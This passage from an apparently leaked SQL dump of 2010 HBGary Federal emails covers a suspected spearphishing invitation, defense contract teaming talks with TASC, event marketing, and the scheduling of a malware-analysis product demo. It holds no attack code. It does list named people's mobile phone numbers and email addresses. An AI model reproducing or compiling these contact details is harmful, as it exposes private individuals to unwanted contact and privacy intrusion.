USA-Ret\r\n\r\n\r\n\r\nDATE:\r\nDecember 05, 2010\r\n\r\nTIME:\r\n06:00pm - 09:30pm EST\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMcLean Hilton Hotel\r\n\r\nADDRESS:\r\n7920 Jones Branch DrMcLean, VA 22102, USA\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',13061,'aaron_hbgary_com/13061.html'),(11828,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008861.M703917P14101Q6683.eml','\"Matt Standart\" <matt@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,,,,,,','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret 	invited you to Tribute Dinner','Maybe it&#39;s real.  Thing is I don&#39;t know.  Enough is a little off to worry me.Sent from my iPhoneOn Sep 16, 2010, at 9:11 AM, Matt Standart &lt;matt@hbgary.com&gt; wrote:\r\nInteresting that it came from cocodot.com, which apparently is an amazon.com network.  Though the email headers may point to a different sender if its fake.\r\n\r\n\r\n \r\n-Matt\r\n \r\nOn Thu, Sep 16, 2010 at 4:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI think so.\r\nI don&#39;t know either of these guys.\r\nThere are some misspellings.\r\nNo definition of what the tribute is for.\r\nInvitation was taken down 30 min after I got it.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Sep 16, 2010, at 6:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI didn&#39;t dig into the URLs but are you saying it was a spearphish?\r\nOn Wed, Sep 15, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.\r\n\r\nNow this is getting pretty scary.  I almost opened it.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\n\r\n\r\nDate: September 15, 2010 10:03:56 PM EDT\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nTribute Dinner\r\n\r\nHOST:\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\nDATE:\r\nDecember 05, 2010\r\n\r\nTIME:\r\n06:00pm - 09:30pm EST\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMcLean Hilton Hotel\r\n\r\nADDRESS:\r\n7920 Jones Branch DrMcLean, VA 22102, USA\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',8620,'aaron_hbgary_com/8620.html'),(11829,'2010-09-16','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297008862.M292259P14101Q6685.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: ManTech','Aaron:\r\nI am on an airplane Friday.  \r\nSorry, just want to ensure that we protect workshare, but most\r\nimportantly that we win.\r\nHas the team made any progress on key hires?\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 16, 2010 9:44 AM\r\nTo: Pisani, Albert A. (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSubject: Re: ManTech\r\n\r\nAl,\r\n\r\nI can describe a little better in person.  ManTech has some key\r\ndiscriminators in ops, infrastructure.\r\n\r\nAbraxis also has discriminators in ops and infrastructure, but in my\r\nopinion less and slightly different flavors.\r\n\r\nI would be more worried about ManTech.  If you are available Friday I\r\ncan give more details or can just explain them to John.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 16, 2010, at 6:31 AM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Ok\r\n> What do we get from either Mtech or praxis in terms of quals and pb\r\nwin?\r\n>\r\n> Al\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 15, 2010 08:46 PM\r\n> To: Pisani, Albert A. (TASC)\r\n> Cc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\n> Subject: Re: ManTech\r\n>\r\n> Al,\r\n>\r\n> They were teamed up with ManTech but since ManTech has decided not to\r\n> prime I am unsure of their status.  They can\'t prime it so I imagine\r\n> they would need to talk with SAIC or TASC to get a seat.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n>  wrote:\r\n>\r\n>> Aaron:\r\n>> Is Abraxis committed?  We are teamed on several other deals and know\r\ntheir seniors quite well.\r\n>>\r\n>> Al\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Wednesday, September 15, 2010 07:29 PM\r\n>> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A.\r\n(TASC); Lovegrove, John (TASC)\r\n>> Subject: ManTech\r\n>>\r\n>> All,\r\n>>\r\n>> I was a little taken aback when I found put today that ManTech is\r\nthinking of teaming with SAIC. ManTech as going to team with Abraxis but\r\nI believe against us and SAIC thought they didn\'t have a high enough\r\npwin.  If Abraxis is teamless we have to assume they are courting SAIC.\r\nI believe we have to add ManTech to the team.  I talked with Bob Frisbie\r\ntoday and based on my conversation he would rather join our team if we\r\nare interested.  I think we need to meet soonest to discuss.  I am\r\nconfident in our position but would not want to if I don\'t have to go\r\nagainst SAIC, NG, ManTech, and Abraxis.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n',12887,'aaron_hbgary_com/12887.html'),(11830,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008862.M44416P14101Q6684.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>','Re: ManTech','Al,\r\n\r\nI can describe a little better in person.  ManTech has some key\r\ndiscriminators in ops, infrastructure.\r\n\r\nAbraxis also has discriminators in ops and infrastructure, but in my\r\nopinion less and slightly different flavors.\r\n\r\nI would be more worried about ManTech.  If you are available Friday I\r\ncan give more details or can just explain them to John.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 16, 2010, at 6:31 AM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Ok\r\n> What do we get from either Mtech or praxis in terms of quals and pb win?\r\n>\r\n> Al\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 15, 2010 08:46 PM\r\n> To: Pisani, Albert A. (TASC)\r\n> Cc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\n> Subject: Re: ManTech\r\n>\r\n> Al,\r\n>\r\n> They were teamed up with ManTech but since ManTech has decided not to\r\n> prime I am unsure of their status.  They can\'t prime it so I imagine\r\n> they would need to talk with SAIC or TASC to get a seat.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n>  wrote:\r\n>\r\n>> Aaron:\r\n>> Is Abraxis committed?  We are teamed on several other deals and know their seniors quite well.\r\n>>\r\n>> Al\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Wednesday, September 15, 2010 07:29 PM\r\n>> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC)\r\n>> Subject: ManTech\r\n>>\r\n>> All,\r\n>>\r\n>> I was a little taken aback when I found put today that ManTech is thinking of teaming with SAIC. ManTech as going to team with Abraxis but I believe against us and SAIC thought they didn\'t have a high enough pwin.  If Abraxis is teamless we have to assume they are courting SAIC.  I believe we have to add ManTech to the team.  I talked with Bob Frisbie today and based on my conversation he would rather join our team if we are interested.  I think we need to meet soonest to discuss.  I am confident in our position but would not want to if I don\'t have to go against SAIC, NG, ManTech, and Abraxis.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n',6887,'aaron_hbgary_com/6887.html'),(11831,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008862.M507241P14101Q6686.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>,','Re: ManTech','Al,\r\n\r\nOk.  I on the same page.  Separately I was not that worried about a\r\nManTech/Abraxas team but if they go with SAIC that worries me and I\r\nthink would erode at our pwin.  I dint think we need to team with both\r\nbut look forward to the discussion on that.  I also think, as I\r\nmentioned, ManTech would not have gotten very many seats from SAIC.\r\n\r\nI was out in Colorado springs earlier in the week and talked with some\r\nfolks that should be applying now.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 16, 2010, at 9:58 AM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Aaron:\r\n> I am on an airplane Friday.\r\n> Sorry, just want to ensure that we protect workshare, but most\r\n> importantly that we win.\r\n> Has the team made any progress on key hires?\r\n>\r\n> AL\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 16, 2010 9:44 AM\r\n> To: Pisani, Albert A. (TASC)\r\n> Cc: Lovegrove, John (TASC)\r\n> Subject: Re: ManTech\r\n>\r\n> Al,\r\n>\r\n> I can describe a little better in person.  ManTech has some key\r\n> discriminators in ops, infrastructure.\r\n>\r\n> Abraxis also has discriminators in ops and infrastructure, but in my\r\n> opinion less and slightly different flavors.\r\n>\r\n> I would be more worried about ManTech.  If you are available Friday I\r\n> can give more details or can just explain them to John.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 16, 2010, at 6:31 AM, \"Pisani, Albert A. (TASC)\"\r\n>  wrote:\r\n>\r\n>> Ok\r\n>> What do we get from either Mtech or praxis in terms of quals and pb\r\n> win?\r\n>>\r\n>> Al\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, September 15, 2010 08:46 PM\r\n>> To: Pisani, Albert A. (TASC)\r\n>> Cc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\n>> Subject: Re: ManTech\r\n>>\r\n>> Al,\r\n>>\r\n>> They were teamed up with ManTech but since ManTech has decided not to\r\n>> prime I am unsure of their status.  They can\'t prime it so I imagine\r\n>> they would need to talk with SAIC or TASC to get a seat.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron:\r\n>>> Is Abraxis committed?  We are teamed on several other deals and know\r\n> their seniors quite well.\r\n>>>\r\n>>> Al\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Wednesday, September 15, 2010 07:29 PM\r\n>>> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A.\r\n> (TASC); Lovegrove, John (TASC)\r\n>>> Subject: ManTech\r\n>>>\r\n>>> All,\r\n>>>\r\n>>> I was a little taken aback when I found put today that ManTech is\r\n> thinking of teaming with SAIC. ManTech as going to team with Abraxis but\r\n> I believe against us and SAIC thought they didn\'t have a high enough\r\n> pwin.  If Abraxis is teamless we have to assume they are courting SAIC.\r\n> I believe we have to add ManTech to the team.  I talked with Bob Frisbie\r\n> today and based on my conversation he would rather join our team if we\r\n> are interested.  I think we need to meet soonest to discuss.  I am\r\n> confident in our position but would not want to if I don\'t have to go\r\n> against SAIC, NG, ManTech, and Abraxis.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPhone\r\n',10899,'aaron_hbgary_com/10899.html'),(11832,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008862.M701267P14101Q6687.eml','\"Stark, Karl\" <kstark@phillynews.com>','Re: Introduction','sounds good. &nbsp;want to call me @ 2pm ET? &nbsp;7195108478AaronOn Sep 15, 2010, at 10:43 PM, Stark, Karl wrote:\r\n\r\nAaron\r\n\r\nno. my fault too. it\'s been very busy.\r\n\r\nHow\'s 2pm ET or 4pm ET or after 7pm ET\r\n\r\nKarl Stark\r\nHealth &amp; Science Editor\r\nPhiladelphia Inquirer\r\n215 854-5363\r\nInquirer\'s Health &amp; Science page\r\nhttp://www.philly.com/inquirer/health_science/\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 9/15/2010 8:54 PM\r\nTo: Stark, Karl\r\nCc: Bob Slapnik\r\nSubject: Re: Introduction\r\n\r\nKarl,\r\n\r\nVery sorry for my silence.&nbsp; Do you have time to talk tomorrow or Friday regarding social media?\r\n\r\nAaron\r\n\r\nOn Sep 5, 2010, at 1:16 PM, Bob Slapnik wrote:\r\n\r\n&gt; Aaron and Karl,\r\n&gt;&nbsp;\r\n&gt; I\'d like to introduce the two of you to each other.&nbsp; Karl Stark is my brother-in-law who is a reporter at the Philadelphia Inquirer.&nbsp; Karl is smart and creative and has ideas around location based social networking.&nbsp; Aaron, I recommend you call Karl to brainstorm.\r\n&gt;&nbsp;\r\n&gt; Contact info:\r\n&gt; Karl 215-356-7403\r\n&gt; Aaron 719-510-8478\r\n&gt;&nbsp;\r\n&gt; Bob\r\n&gt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10892,'aaron_hbgary_com/10892.html'),(11833,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008862.M907351P14101Q6688.eml','\"Amanda J Windle\" <Amanda.Windle@ManTech.com>,\"Amanda J Windle\" <Amanda.Windle@ManTech.com>','Red Team','Hi Amanda,\r\n\r\nHow did the red team come out?  Sorry didn\'t make it this morning...took my kids to school after being gone for a few days.\r\n\r\nAnything you need from me?\r\n\r\nAaron',12030,'aaron_hbgary_com/12030.html'),(11834,'2010-09-16','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297008863.M122004P14101Q6689.eml','aaron@hbgary.com','Register Now - 9th Annual Air Force IT Day (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      Registration\r\nand Sponsorships Now Available | 9th Annual Air Force IT Day\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      9th Annual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n      Strengthening\r\nAir, Space, and Cyberspace Capabilities\r\n      \r\n      Thursday, October 21, 2010\r\nVienna, Virginia\r\n      Air Force IT Day is an annual one-day conference focused\r\non issues and challenges facing the future Air Force.&nbsp;\r\n      This is a “must attend” event for anyone who wants to do\r\nbusiness with the Air Force. \r\n      Senior leaders will describe the Air Force vision,\r\noperational\r\nrequirements, acquisition strategies and potential opportunities for\r\nindustry.\r\n      Sponsorship and Registrations are available.\r\n      \r\n      Read more and register at \r\n      www.afceanova.org/air-force-it-day\r\n      \r\n      Agenda and Speakers\r\n      Air Force IT Day brings you power-packed\r\nline-up&nbsp; that will help industry leaders make resource\r\ninvestment\r\ndecisions in this fiscally constrained environment.\r\n      Invited speakers include:\r\n      Arthur\r\n\"Wally\" L. Wachdorf\r\n      Senior Adviser for\r\nIntelligence and Cyber Operations, 24th Air Force\r\n      Brig Gen Ian R. Dickinson\r\n      Director,\r\nCommunications\r\nand Information and CIO, Air Force Space Command\r\n      Lt Gen William T. Lord\r\n      Chief of\r\nWarfighting\r\nIntegration and CIO, Office of the Secretary of the Air Force\r\n      David M. Van Buren\r\n      Assistant\r\nSecretary of\r\nthe Air Force for Acquisition&nbsp;\r\n      A requirements panel of Air Force Major\r\nCommand A6s who will tell you how IT supports the\r\noperational mission of their command and what their most pressing needs\r\nare.&nbsp;\r\nRead more and register at \r\n      www.afceanova.org/air-force-it-day\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Sponsor\r\nAir Force IT Day\r\n      Air Force IT day draws over 700 of your colleagues in\r\nthe field.&nbsp;\r\n      Put your best foot forward to AFCEA NOVA\'s partners in\r\ngovernment and industry.\r\n      Sponsorship packages are available for any size and\r\nbudget, with special discounts for small businesses.\r\n      Read more and sign up\r\n      www.afceanova.org/afitday\r\n      \r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year,\r\nAFCEA\r\nNOVA\'s event programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n          \r\n        \r\n           Friday,\r\nOctober 15 \r\n           October\r\nLuncheon\r\nMG Steven Smith\r\n        \r\n          \r\n        \r\n           Tuesday, October 19\r\n          \r\n           Mil/Giov Career\r\nTransition Seminar &amp; Dinner \r\n        \r\n        \r\n          \r\n        \r\n           Thursday,\r\nOctober 21 \r\n           9th\r\nAnnual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n        \r\n          \r\n        \r\n           Friday,\r\nNovember 19 \r\n           November\r\nLuncheon\r\nUSMC Director C4/CIO \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2052,'aaron_hbgary_com/2052.html'),(11835,'2010-09-16','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297008863.M322763P14101Q6690.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Christopher Clair\" <christopher.clair@tasc.com>','COIN','Any news?  \r\n',13562,'aaron_hbgary_com/13562.html'),(11836,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008863.M534099P14101Q6691.eml','tjriesen@archimedesglobal.com,tjriesen@archimedesglobal.com','Re: COIN','Not really.  John says it should be any day...\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 16, 2010, at 11:01 AM, tjriesen@archimedesglobal.com wrote:\r\n\r\n> Any news?\r\n',11411,'aaron_hbgary_com/11411.html'),(11837,'2010-09-16','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297008863.M799427P14101Q6692.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: COIN','Rgr \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Tim Riesen\r\nCc: Christopher Clair\r\nSubject: Re: COIN\r\nSent: Sep 16, 2010 11:04\r\n\r\nNot really.  John says it should be any day...\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 16, 2010, at 11:01 AM, tjriesen@archimedesglobal.com wrote:\r\n\r\n> Any news?\r\n\r\n\r\n',14195,'aaron_hbgary_com/14195.html'),(11838,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008864.M428809P14101Q6694.eml','Peternjusa@gmail.com,Peternjusa@gmail.com','Introduction','Hi Peter,\r\n\r\nProtecting PII.  Tough problem if your talking pervasively.  I would really enjoy talking about some of the things we are doing on the social media side if your interested.  Protecting PII as well as organization IP is at the focus of what we are doing and working towards.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478',10110,'aaron_hbgary_com/10110.html'),(11839,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008864.M695791P14101Q6695.eml','nolan@informationsecuritysolutionsllc.com,nolan@informationsecuritysolutionsllc.com,,,,','Re: Social Media, Exploitation, and Persistent Internet Operations','Hey Nolan,The delay in the TMC is we are rewriting some areas that work but need more stability and at the same time we are adding some new functionality. &nbsp;In less than 30 days we will have the ability to submit malware and generate detailed reports with DDNA scoring, query the malware database for specific markers or signatures, and pull fingerprinting data based on key environmental variables, which allows you to pull up clusters of related malware. &nbsp;Past 30 days we are working on integrating Palantir as part of the front end so you can map and analyze more effectively. &nbsp;In addition we are building social media collectors/scrapers and will be adding that data as well. &nbsp;We have talked with US-CERT, FBI Cyber Division, and IARPA about this capability and so far have met with very good feedback on the direction and potential benefit to their organizations.When we get closer to the end of the first dev cycle we will let you know and set up a demo.AaronOn Sep 15, 2010, at 12:05 AM, Nolan Clifford wrote:No worries Bob, we can reschedule. This is a super busy week for us on the program anyway.Thanks,Nolan703-945-7480 Sent via BlackBerry by AT&amp;TFrom:&nbsp;\"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date:&nbsp;Wed, 15 Sep 2010 00:03:21 -0400To:&nbsp;&lt;nolan@informationsecuritysolutionsllc.com&gt;; \'McGuffey, David C.\'&lt;DAVID.C.MCGUFFEY@saic.com&gt;; \'Rich Cummings\'&lt;rich@hbgary.com&gt;Cc:&nbsp;\'Blake Darche\'&lt;blake.darche@informationsecuritysolutionsllc.com&gt;; \'Ted Vera\'&lt;ted@hbgary.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet OperationsNolan,&nbsp;Thanks for the reminder.&nbsp; I’ve been immersed in proposal writing since Sunday morning and my mind has been preoccupied.&nbsp; I had lined up Ted Vera to do the demo via webex because I wanted him to show you the new Threat Management Center.&nbsp; As of last Wednesday they were still tweaking TMC and weren’t sure if they would have it ready by this Wednesday.&nbsp; If you need to see TMC then we may want to reschedule.&nbsp; If all you want to see is Active Defense, Digital DNA and Responder, then I can ask Rich or Ted to do the demo.&nbsp; Let’s touch base Wednesday morning to see if we are still on.&nbsp; My apology for being distracted.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Tuesday, September 14, 2010 10:37 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Are we still on for tomorrow at 10 or should we reschedule?&nbsp;Thanks,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 –Blackberry703-869-7396 – Mobile&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 4:01 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Bob,&nbsp;We would do the demo here in the same room most likely. That date and time works fine for me, thanks.&nbsp;Best,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 –Blackberry703-869-7396 – Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 2:01 PMTo:&nbsp;\'McGuffey, David C.\';&nbsp;nolan@informationsecuritysolutionsllc.com; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan and David,&nbsp;How about 10 am on Wed 9/15? &nbsp;&nbsp;Would we meet at the SAIC office or onsite at Fort Meade?&nbsp; Odds are pretty good that we will be able to include a demo of the Threat Management Center which is the ability to automatically analyze large numbers of binaries.&nbsp; If we demo TMC it would need to be via webex as our guys working on TMC are in Colorado.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;McGuffey, David C. [mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 8:22 AMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; Bob Slapnik; Rich CummingsCc:&nbsp;McGuffey, David C.; Blake DarcheSubject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Same here.&nbsp; I’m off Friday to take 50 of our church youth (and 10 adults) on a beach camping trip to Assateague Is. this coming weekend.&nbsp; May take Monday to recover. I have a commitment on Wed the 15th, so Tue, Thu, Fri would be best.&nbsp;Dave McGuffeyPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEMScience Applications International Corp., Columbia, MD410-872-4051 (w)443.597.6402 (mobile)&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Monday, September 06, 2010 19:23To:&nbsp;\'Bob Slapnik\'; McGuffey, David C.; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Week of 9/13 is much better for me…&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 –Blackberry703-869-7396 – Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 11:16 PMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;Sorry, can’t do 9/9.&nbsp; Here are some days/times that work…….9/7, 10 am or later9/10Week of 9/13 is open&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 9:26 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;How does next Thursday the 9th&nbsp;work for everyone?&nbsp;&nbsp;Nolan Clifford, 